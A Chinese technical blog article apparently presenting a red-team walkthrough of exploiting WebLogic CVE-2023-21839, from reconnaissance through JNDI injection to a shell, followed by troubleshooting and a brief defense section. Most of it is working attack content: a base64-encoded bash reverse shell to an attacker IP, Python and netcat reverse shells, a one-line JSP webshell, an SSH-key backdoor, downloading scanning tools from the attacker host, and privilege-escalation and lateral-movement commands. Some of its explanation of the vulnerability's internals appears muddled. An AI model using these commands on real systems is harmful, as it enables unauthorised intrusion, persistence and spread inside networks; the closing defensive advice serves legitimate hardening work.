当前位置: 首页 > news >正文

WebLogic CVE-2023-21839漏洞深度解析:从反序列化原理到实战渗透

1. 项目概述:一次针对WebLogic的深度渗透实战

最近在整理内部红队演练的案例库,翻到了一个去年让我印象深刻的实战案例,核心就是利用CVE-2023-21839这个漏洞。这个漏洞在当时影响范围极广,因为它绕过了WebLogic T3协议的一个关键安全限制,允许攻击者在未授权的情况下直接执行任意代码。很多朋友可能听说过这个漏洞编号,但对其完整的利用链条、从信息收集到最终getshell的每一个细节,以及在实际复杂网络环境中可能遇到的“坑”,未必有清晰的认知。今天我就以一个实战亲历者的角度,把这个漏洞从发现到利用的全过程,掰开揉碎了讲清楚。这篇文章不仅适合安全研究人员进行漏洞复现学习,也希望能给企业安全运维人员提供一个清晰的防御视角,了解攻击者是如何一步步得手的。

简单来说,CVE-2023-21839是Oracle WebLogic Server中的一个高危反序列化漏洞,存在于T3协议/IIOP协议的处理过程中。攻击者可以在未授权的情况下,通过构造恶意的T3请求,将精心构造的反序列化对象发送到WebLogic Server,从而在目标服务器上执行任意命令,最终获取一个交互式的shell。整个过程可以概括为:信息收集确认目标 -> 漏洞探测与验证 -> 利用链构造与载荷投递 -> 权限维持与内网渗透。下面,我将结合一次真实的内部演练,带你走完这惊心动魄的全过程。

2. 漏洞原理与影响范围深度解析

2.1 漏洞核心:被绕过的黑名单与不安全的反序列化

要理解CVE-2023-21839,必须先了解WebLogic的T3协议和其反序列化防御机制。T3是WebLogic特有的一个高性能RMI(远程方法调用)协议,用于集群间通信,默认监听在7001端口。为了防范反序列化攻击,WebLogic维护了一个“反序列化类过滤黑名单”,即weblogic.rmi.server.MarshalledObject。这个类的resolve方法在反序列化时,会检查待反序列化的类是否在黑名单中(如org.apache.commons.collections.functors.InvokerTransformer等常见的危险类)。

CVE-2023-21839的狡猾之处在于,它找到了一个“白名单”里的类作为跳板,这个类就是oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor。这个类本身不在黑名单限制之内,但它内部依赖的com.tangosol.util.aggregator.TopNAggregator$PartialResult类,在其readExternal方法中,存在不安全的反射调用。攻击者通过精心构造的序列化数据,可以控制TopNAggregator$PartialResult反序列化时加载的类名和构造方法参数,从而实例化任意类,例如javax.management.BadAttributeValueExpException,进而触发一个完整的、不受黑名单限制的反序列化利用链(例如利用CommonsCollections链)。

注意:这里提到的利用链(如CC链)只是其中一种可能。在实际利用中,攻击工具(如JNDI注入工具)往往会根据目标环境动态选择最合适的利用链,可能还会用到BeanShell1CommonsBeanutils1等。

2.2 影响版本与修复情况

这个漏洞影响面非常大,涵盖了多个主流版本的WebLogic Server:

  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 14.1.1.0.0

Oracle在2023年1月的关键补丁更新(CPU)中修复了此漏洞,补丁号为33218430。修复方式主要是更新了反序列化过滤器,将涉及漏洞的类添加到了黑名单中,并加强了对MarshalledObject等关键类的检查。因此,判断一个目标是否受影响,最直接的方式就是确认其版本号,并检查是否已安装2023年1月及之后的补丁。在实际渗透中,我们往往没有权限直接查看版本,这就需要通过探测来间接判断。

3. 实战环境搭建与信息收集

3.1 靶机环境准备

为了完整复现,我们需要一个未打补丁的WebLogic环境。这里我选择在虚拟机中搭建WebLogic Server 12.2.1.4.0。安装过程比较常规,需要注意以下几点:

  1. JDK版本:WebLogic 12.2.1.4 需要JDK 1.8。确保环境变量JAVA_HOME正确配置。
  2. 安装选项:为了简化,可以选择“典型安装”。记住安装过程中设置的AdminServer的管理端口(默认7001)和管理员密码。
  3. 启动服务:进入{WL_HOME}/user_projects/domains/base_domain/bin目录,执行./startWebLogic.sh(Linux)或startWebLogic.cmd(Windows)。看到“Server state changed to RUNNING”即表示启动成功。
  4. 访问控制台:浏览器访问http://target_ip:7001/console,能正常登录管理控制台即可。

实操心得:在内部演练时,我们遇到的WebLogic服务器大多部署在Linux系统上,且常与Apache或Nginx做反向代理。因此,复现环境也建议优先使用Linux,更贴近实战。另外,确保虚拟机或容器的网络与攻击机(Kali Linux)互通。

3.2 攻击机工具准备

我们的攻击机使用Kali Linux,需要准备以下工具:

  • Nmap:用于端口扫描和服务识别。sudo apt install nmap
  • 探测脚本:用于快速识别WebLogic版本及是否存在CVE-2023-21839漏洞。网络上有很多开源PoC脚本,例如使用Python编写的检测脚本,可以发送特定的T3协议握手包和漏洞探测包。
  • 漏洞利用工具:这是getshell的关键。推荐使用集成化程度较高的工具,例如JNDI-Injection-Exploit配合反序列化利用框架。我们需要一个能启动恶意RMI/LDAP服务并生成对应利用Payload的工具。
  • 监听工具:用于接收反弹的shell。最常用的是NetcatCobalt Strike的Beacon。这里我们用nc做演示。sudo apt install netcat

工具准备的命令示例:

# 更新系统并安装基础工具 sudo apt update && sudo apt upgrade -y sudo apt install nmap netcat python3 python3-pip git -y # 克隆一个常见的WebLogic漏洞检测工具(示例,请自行搜索可靠来源) git clone https://github.com/example/weblogic-scanner.git cd weblogic-scanner pip3 install -r requirements.txt # 克隆JNDI注入利用工具 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit mvn clean package -DskipTests # 需要Maven环境

注意事项:所有漏洞利用工具均应仅在授权的测试环境或本地隔离环境中使用。从互联网下载任何安全工具时,务必检查其代码,避免后门。

3.3 外围信息收集与目标确认

在真实的红队行动中,我们不会直接对目标IP的7001端口进行爆破。第一步往往是更隐蔽的外围信息收集。

  1. 子域名枚举:使用工具如subfinderamassOneForAll等,收集目标企业的所有子域名。
    subfinder -d target-company.com -o subdomains.txt
  2. 端口扫描与服务识别:对收集到的子域名或已知IP段进行端口扫描。重点扫描7001(WebLogic默认)、80、443、8000-9000等常见Web端口。
    nmap -sS -sV -p 7001,7002,8000-9000 -iL target_ips.txt -oA weblogic_scan
    -sS是SYN扫描,-sV是版本探测,-oA输出所有格式结果。
  3. WebLogic特征识别:Nmap扫描结果中,如果端口服务识别为Oracle WebLogic Admin ServerT3 protocol,那就是强信号。此外,访问http://ip:port/consolehttp://ip:port/wls-wsat等特定路径,观察是否有WebLogic的登录页面或错误页面,也能帮助确认。
  4. 网络路径判断:使用traceroutemtr判断目标服务器的网络位置,是否处于DMZ区,后方是否有其他应用服务器,这为后续的内网渗透做准备。

假设我们通过以上步骤,最终锁定了一个目标:http://192.168.1.100:7001,且/console可以访问到WebLogic登录页。

4. 漏洞探测与利用链构造

4.1 主动漏洞探测

确认目标后,下一步是验证其是否存在CVE-2023-21839漏洞。我们可以使用专门的探测脚本。一个典型的探测逻辑是:

  1. 建立与目标7001端口的TCP连接。
  2. 发送T3协议握手头(十六进制数据)。
  3. 发送一个精心构造的、触发漏洞的序列化对象(Payload)。这个Payload通常是一个“无害”的探测载荷,比如尝试加载一个不存在的类,或者触发一个可以区分成功与失败的响应。
  4. 根据服务器的返回信息(如错误堆栈、响应时间、连接状态)来判断漏洞是否存在。

例如,一个简单的Python探测脚本核心部分可能如下(概念代码):

import socket import struct import time def check_vulnerable(ip, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((ip, port)) # 发送T3握手头 handshake = "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n" sock.send(handshake.encode()) time.sleep(0.5) # 发送漏洞探测Payload (此处应为构造好的序列化字节流) # payload = construct_detect_payload() # sock.send(payload) # 接收响应并分析 response = sock.recv(1024) if b"特定错误特征" in response: # 例如某些类找不到的异常 print(f"[+] {ip}:{port} 可能存在 CVE-2023-21839 漏洞") return True else: print(f"[-] {ip}:{port} 可能不存在漏洞或已修复") return False except Exception as e: print(f"[*] 连接{ip}:{port}异常: {e}") return False finally: sock.close()

实操心得:在实际网络中,探测行为可能被WAF或IDS拦截。因此,高级的探测会尝试对Payload进行分段、编码或使用其他端口(如IIOP默认端口7002)进行尝试。此外,观察目标服务器的CPU或内存是否有突然波动(如果Payload导致执行了计算),也是一种间接判断方式,但这需要更长时间的监控。

4.2 构造恶意JNDI注入利用链

确认漏洞存在后,就需要构造真正的利用载荷来getshell。目前最主流、最有效的方式是结合JNDI注入。其核心思路是:利用漏洞的反序列化能力,让WebLogic服务器去访问一个由我们控制的恶意JNDI服务(RMI或LDAP),该服务会返回一个指向远程恶意Java类的Reference。WebLogic在解析这个Reference时,会从我们指定的HTTP服务器下载并实例化这个类,从而执行我们嵌入在类中的任意代码。

整个利用过程涉及三个角色:

  1. 攻击者服务器(VPS):运行两个服务。
    • 恶意JNDI服务:使用JNDI-Injection-Exploit启动,监听在RMI(1099)或LDAP(1389)端口。
    • 恶意HTTP服务:托管包含恶意代码的class文件。
  2. 漏洞利用Payload:一个序列化对象,其反序列化后会触发对攻击者IP:JNDI端口的JNDI查找。
  3. 受害WebLogic服务器:处理Payload,触发漏洞,向攻击者的JNDI服务发起请求,最终加载并执行恶意类。

步骤一:在攻击机上启动恶意服务

# 进入JNDI-Injection-Exploit工具目录 cd JNDI-Injection-Exploit/target/ # 启动工具,指定攻击者IP和要执行的命令 # -C 后面是要执行的命令,这里我们启动一个反弹shell到攻击机192.168.1.50的4444端口 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.1.50

命令解释:

  • -C:指定要执行的命令。这里我们使用了一个经典的bash反弹shell命令,并进行了base64编码以避免特殊字符问题。解码后的命令是:bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
  • -A:指定攻击者(我们)的IP地址,WebLogic服务器会向这个IP请求恶意类。

执行后,工具会显示可用的JNDI注入地址,例如:

[ADDRESS] >> rmi://192.168.1.50:1099/xxxxxx [ADDRESS] >> ldap://192.168.1.50:1389/xxxxxx

我们复制其中一个地址,比如rmi://192.168.1.50:1099/abcde

步骤二:在攻击机另一个终端启动Netcat监听

nc -lvnp 4444

等待反弹shell的连接。

步骤三:生成并发送最终漏洞利用Payload我们需要一个能够将上一步的JNDI地址封装进反序列化Payload的工具。这个工具通常与探测脚本集成,或者是一个独立的利用框架(如ysoserial的变种或专门针对此漏洞的利用脚本)。

假设我们有一个名为CVE-2023-21839-Exploit.py的脚本,其用法如下:

python3 CVE-2023-21839-Exploit.py -t 192.168.1.100 -p 7001 -u rmi://192.168.1.50:1099/abcde

这个脚本会:

  1. 连接到192.168.1.100:7001
  2. 发送T3握手协议。
  3. 构造一个反序列化Payload,其中包含指向rmi://192.168.1.50:1099/abcde的JNDI查找逻辑。
  4. 将这个Payload通过T3协议发送给目标WebLogic服务器。

5. 攻击执行与Shell获取全过程

5.1 发送Payload与触发漏洞

当我们在攻击机上执行上述利用脚本后,一系列自动化过程在后台发生:

  1. 脚本工作:脚本向目标192.168.1.100:7001发送了包含恶意JNDI地址的序列化数据。
  2. 目标服务器中招:WebLogic Server的T3协议处理器收到数据并开始反序列化。由于CVE-2023-21839漏洞的存在,黑名单检查被绕过,恶意对象被成功还原。
  3. 触发JNDI查找:还原的对象中包含javax.naming.InitialContext.lookup(“rmi://攻击者IP/xxx”)的逻辑。WebLogic服务器(以WebLogic进程权限,通常是weblogicoracle用户)尝试去解析这个RMI地址。
  4. 连接攻击者服务:目标服务器向我们的攻击机192.168.1.50的1099端口发起RMI请求。

5.2 JNDI服务响应与恶意类加载

此时,我们攻击机上运行的JNDI-Injection-Exploit开始发挥作用:

  1. RMI服务响应:它接收到来自目标的RMI查询请求。
  2. 返回恶意Reference:工具根据请求,返回一个javax.naming.Reference对象。这个Reference指定了恶意工厂类名(例如Exploit)和代码库地址(http://192.168.1.50:8080/Exploit.class)。
  3. 目标加载类:WebLogic服务器收到Reference后,会根据其中指定的HTTP地址,向192.168.1.50:8080发起HTTP GET请求,试图下载Exploit.class文件。JNDI-Injection-Exploit工具内置了一个简单的HTTP服务器,正好提供这个服务。
  4. 提供恶意Class:内置HTTP服务器将包含我们之前指定命令(base64编码的反弹shell)的Exploit.class文件返回给目标服务器。

5.3 代码执行与Shell反弹

  1. 实例化与执行:WebLogic服务器加载了Exploit.class,并实例化这个类。在类的静态代码块或构造函数中,嵌入了我们指定的命令执行逻辑。
  2. 执行反弹Shell命令:类被加载时,其中的代码会执行Runtime.getRuntime().exec(),运行我们编码后的bash命令。该命令会在目标服务器上打开一个bash进程,并将其输入输出重定向到网络套接字,连接到我们监听192.168.1.50:4444的Netcat。
  3. Shell到手:我们的Netcat监听终端会立刻接收到这个连接。如果一切顺利,你会看到类似以下的提示,并得到一个可交互的shell:
    connect to [192.168.1.50] from (UNKNOWN) [192.168.1.100] 34567 bash: cannot set terminal process group (1234): Inappropriate ioctl for device bash: no job control in this shell weblogic@weblogic-server:/Oracle/Middleware/user_projects/domains/base_domain$
    提示符weblogic@weblogic-server表明我们已经成功以weblogic用户身份获取了目标服务器的shell权限。

注意事项:反弹shell的成功率受目标服务器环境影响很大。如果目标服务器没有bash(例如AIX系统),或者出网流量被防火墙严格限制(无法连接到我们的VPS 4444端口),那么这种直接反弹TCP shell的方式会失败。此时需要考虑使用其他命令,如curlwget下载木马、写入Webshell,或者使用DNS、ICMP等隧道进行流量穿透。

6. 后渗透与权限维持技巧

拿到一个初始的WebLogic进程权限的shell,远不是终点。在真实的攻防演练或渗透测试中,我们需要考虑如何维持访问权限、提升权限(如果需要)以及向内网横向移动。

6.1 权限提升可能性探查

WebLogic服务通常以普通用户(如weblogicoracle)身份运行,权限有限。我们需要检查是否有提权机会:

# 查看当前用户及权限 id whoami sudo -l # 如果当前用户在sudoers列表,且无需密码,则是重大发现 # 查看系统内核版本,寻找本地提权漏洞 uname -a cat /etc/issue cat /etc/*-release # 查看是否有SUID/GUID的特殊权限文件 find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null # 查看计划任务,是否有以root身份运行的任务 crontab -l ls -la /etc/cron* /var/spool/cron/

如果系统内核版本较老,可以尝试使用如DirtyPipeDirtyCow等公开的本地提权漏洞EXP。也可以上传LinPEASLinuxSmartEnumeration等自动化信息收集脚本,快速识别弱点。

6.2 权限维持:WebShell与后门

为了防止shell会话断开后失去控制,需要部署后门。

  1. 写入WebShell:这是最快捷的方式。找到WebLogic的应用部署目录(通常在{DOMAIN_HOME}/servers/AdminServer/tmp/_WL_internal{DOMAIN_HOME}/servers/AdminServer/upload下,或者通过ps aux | grep weblogic查找-Dweblogic.RootDirectory参数)。向其中一个已知的Web应用目录(如consoleapp)写入一个JSP或JSPX的WebShell。
    # 查找war包解压目录 find / -name \"*.war\" -type f 2>/dev/null | head -5 # 假设找到 /Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/consoleapp/xxx cd /path/to/webapp echo \'<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>\' > shell.jsp
    然后就可以通过http://target:7001/consoleapp/shell.jsp?cmd=id来执行命令。
  2. 创建SSH后门:如果当前用户有写~/.ssh/authorized_keys的权限,可以直接写入攻击机的公钥。
    echo \"ssh-rsa AAAAB3NzaC... your-public-key\" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys
  3. 安装持久化Rootkit:在获得root权限后,可以考虑安装更隐蔽的后门,如修改sshd配置、安装内核模块等,但这需要更高的技术能力和风险考量,在合规测试中需谨慎。

6.3 内网横向移动初步

以WebLogic服务器为跳板,进行内网信息收集:

# 查看网络配置,发现内网网段 ifconfig -a ip addr cat /etc/hosts cat /etc/resolv.conf # 查看ARP缓存和当前连接 arp -a netstat -antp # 进行内网主机发现(使用内置命令) for i in {1..254}; do ping -c 1 -W 1 192.168.2.$i | grep \"from\" & done # 上传内网扫描工具,如nmap静态编译版 # 首先在攻击机用python开一个简易HTTP服务 # python3 -m http.server 8080 # 然后在目标shell中用wget或curl下载 cd /tmp wget http://192.168.1.50:8080/nmap-static chmod +x nmap-static ./nmap-static -sS -p 22,80,443,3306,3389 192.168.2.0/24

发现内网其他资产后,可以尝试用已获取的密码(如WebLogic密码可能被复用)、已知漏洞(如MS17-010)或弱口令爆破等方式进行横向扩展。

7. 常见问题与排查技巧实录

在实际利用CVE-2023-21839的过程中,几乎不可能一帆风顺。下面是我在多次演练中遇到的典型问题及解决方法。

7.1 漏洞探测成功但利用失败

问题现象:探测脚本显示目标存在漏洞,但发送JNDI利用Payload后,Netcat没有收到反弹shell,JNDI工具也没有收到请求。

  • 可能原因1:Payload构造错误或编码问题。
    • 排查:检查利用脚本生成的Payload是否针对目标WebLogic版本。不同小版本间可能存在差异。尝试使用LDAP协议代替RMI协议(ldap://替换rmi://),因为有些环境对RMI出口限制更严。
    • 解决:使用更稳定、更新版本的利用脚本。或者手动调试,抓取发送的原始T3数据包,与成功的案例进行对比。
  • 可能原因2:目标服务器无法访问攻击机IP/端口(出网限制)。
    • 排查:这是最常见的原因。在目标服务器上尝试连接攻击机的端口。
      # 在获取的shell中执行,如果没有shell,说明漏洞可能触发但命令没执行成功 # 如果完全没有shell,此步无法进行。可以尝试让Payload执行一个sleep命令或ping命令,通过观察服务器响应延迟或ICMP包来判断。 nc -zv 192.168.1.50 1099 nc -zv 192.168.1.50 4444
    • 解决
      1. 使用DNSLog等带外通道:修改Payload,让目标执行curl http://dnslog-platform/或者ping命令。通过查看DNSLog平台是否有记录,来判断命令是否执行以及出网策略(DNS可能被允许)。
      2. 使用反向端口扫描:让目标服务器来连接攻击机一个高端口,同时在攻击机用tcpdump抓包,看是否有SYN包到来。
      3. 搭建内网代理:如果目标在内网,且你有一台已控的内网机器,可以将JNDI服务和监听服务部署在那台内网机器上。
  • 可能原因3:目标Java版本过高或存在其他安全限制。
    • 排查:高版本Java(如8u191+)默认限制了JNDI从远程地址加载工厂类。这会导致即使触发了漏洞,目标服务器也不会去下载我们的恶意class。
    • 解决:尝试使用“绕过”高版本JNDI限制的利用链。一些高级利用工具会集成BasicDataSourceELProcessor等链,这些链不依赖远程加载class,而是利用目标本地ClassPath中的类来构造命令执行。这需要更精准的目标环境信息。

7.2 收到JNDI请求但未收到Shell

问题现象JNDI-Injection-Exploit工具日志显示收到了来自目标的RMI/LDAP查询请求,但Netcat没有连接,或者连接后立即断开。

  • 可能原因1:反弹Shell命令不兼容。
    • 排查:目标服务器可能没有bash,或者/dev/tcp特性被禁用(如使用dash作为默认shell)。
    • 解决:换用更通用的命令。
      • 使用python反弹:
        python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\'
      • 使用nc反弹(需目标有nc):
        nc -e /bin/sh 192.168.1.50 4444
      • 如果都不行,考虑先写入一个WebShell作为备用通道。
  • 可能原因2:防火墙或安全软件拦截。
    • 排查:目标服务器的本地防火墙(iptables)或主机安全软件(如HIDS)可能拦截了反向连接。
    • 解决:尝试连接其他端口(如53/UDP DNS端口,80/443 HTTP/HTTPS端口)。使用加密隧道或HTTP代理穿透。或者,放弃反弹Shell,改用执行写入文件、添加用户等直接动作的Payload。

7.3 工具使用与环境问题

  • 问题:JNDI-Injection-Exploit编译或运行报错。
    • 解决:确保Java版本为1.8+,Maven已正确安装。如果遇到依赖问题,尝试使用作者预编译好的jar包。检查攻击机防火墙是否放行了1099、1389、8080、4444等端口。
  • 问题:Python利用脚本报编码或库缺失错误。
    • 解决:确保Python版本为3.x,并使用pip install -r requirements.txt安装所有依赖。在Linux环境下运行,避免Windows下可能存在的换行符问题。

7.4 防御与检测建议

作为防守方,了解攻击链后,可以采取以下措施:

  1. 及时打补丁:这是最根本的解决方案。立即安装Oracle官方2023年1月及之后的CPU补丁。
  2. 网络访问控制:在防火墙严格限制访问WebLogic T3(7001)和IIOP(7002)端口的源IP,仅允许管理终端和必要的集群节点访问。
  3. 使用SSL/TLS:为T3协议启用SSL(T3S),可以增加流量嗅探和攻击的难度。
  4. 升级JDK:将JDK升级到最新版本(如8u361以上),可以利用其内置的JNDI远程类加载限制。
  5. 部署安全产品:WAF可以拦截含有特定序列化魔术头或JNDI地址的T3请求。HIDS可以监控WebLogic进程是否异常启动子进程(如bash、nc)或对外发起可疑网络连接。
  6. 最小化安装:非必要不启用T3协议。如果仅用于Web应用,可以考虑通过管理控制台禁用T3协议,或只启用HTTP协议。

整个从CVE-2023-21839漏洞利用到getshell的过程,就像一场精心策划的接力赛,任何一个环节掉链子都可能导致失败。对于攻击者,需要耐心、细致的排查和丰富的备用方案;对于防御者,则需要层层设防,补丁、配置、监控一个都不能少。希望这篇近万字的详细拆解,能让你不仅看到漏洞利用的“术”,更能理解其背后的“道”,从而在无论是攻击还是防御的岗位上,都能做得更加游刃有余。在实战中,最大的挑战往往不是漏洞本身,而是对目标环境差异性的适应和应对各种未知限制的创新能力。

http://www.jsqmd.com/news/1085440/

相关文章:

  • DroidCam OBS插件:将智能手机摄像头变为专业直播设备的技术方案
  • 从蓝屏到控制:CVE-2019-0708 RDP漏洞深度复现与权限维持实战
  • 深度解析CVE-2025-24813:Tomcat远程代码执行漏洞原理与实战防护
  • 震惊!自动推拉力测试机采购价竟如此低,千万别错过!
  • 济南历城区上门修笔记本电脑
  • 【QT进阶】 QListWidget列表模式实战:从基础构建到动态交互菜单
  • NHSE:5分钟掌握动物森友会存档编辑的终极指南
  • 【Deepin实战】手把手教你部署Halcon,解锁Linux机器视觉开发
  • 从一个比喻开始:人类如何完成一项复杂任务?
  • Python程序设计基础知识点100道填空题(含解析)
  • Midscene.js:如何用视觉AI技术彻底革新跨平台UI自动化测试
  • ViGEmBus:Windows内核级虚拟游戏控制器驱动架构深度解析与技术实现
  • 3步实现大麦智能抢票:告别手速比拼的自动化解决方案
  • ORACLE 19C DataGuard实战:从零到一构建高可用灾备环境
  • PotPlayer字幕翻译插件终极指南:免费实现外语视频实时双语字幕
  • 如何为Windows游戏添加虚拟手柄支持:ViGEmBus驱动终极指南
  • Debian 12 虚拟机安装实战:从零到可用的完整图解指南
  • KMS_VL_ALL_AIO:告别激活烦恼的终极解决方案
  • 终极解决方案:如何用ViGEmBus内核驱动解决Windows游戏控制器兼容性问题
  • 从Photoshop到GIMP:PhotoGIMP如何帮你平滑迁移设计工作流
  • MounRiver Studio与WCH-Link实战:从零点亮CH32V103C的LED与串口通信
  • 缠论量化框架chan.py:三步构建智能交易系统的技术突破
  • 利用AI写专著,20万字专著轻松搞定,这些工具你不能错过!
  • 2026年高考志愿智能填报辅助系统--辅助你选志愿
  • Snap.Hutao:原神玩家必备的终极工具箱完整指南
  • MTK设备BROM模式深度解析:从硬件底层到安全解锁的终极指南
  • OpenMV实战:从零到一的视觉项目搭建指南
  • SX1278跳频实战:基于E32-400M22S模块的LoRa抗干扰通信实现
  • 五轴加工核心技术架构深度解析:自适应算法、实时同步与数字孪生
  • RH850/U2B开发板硬件设计:电源管理、复位时钟与高速接口实战解析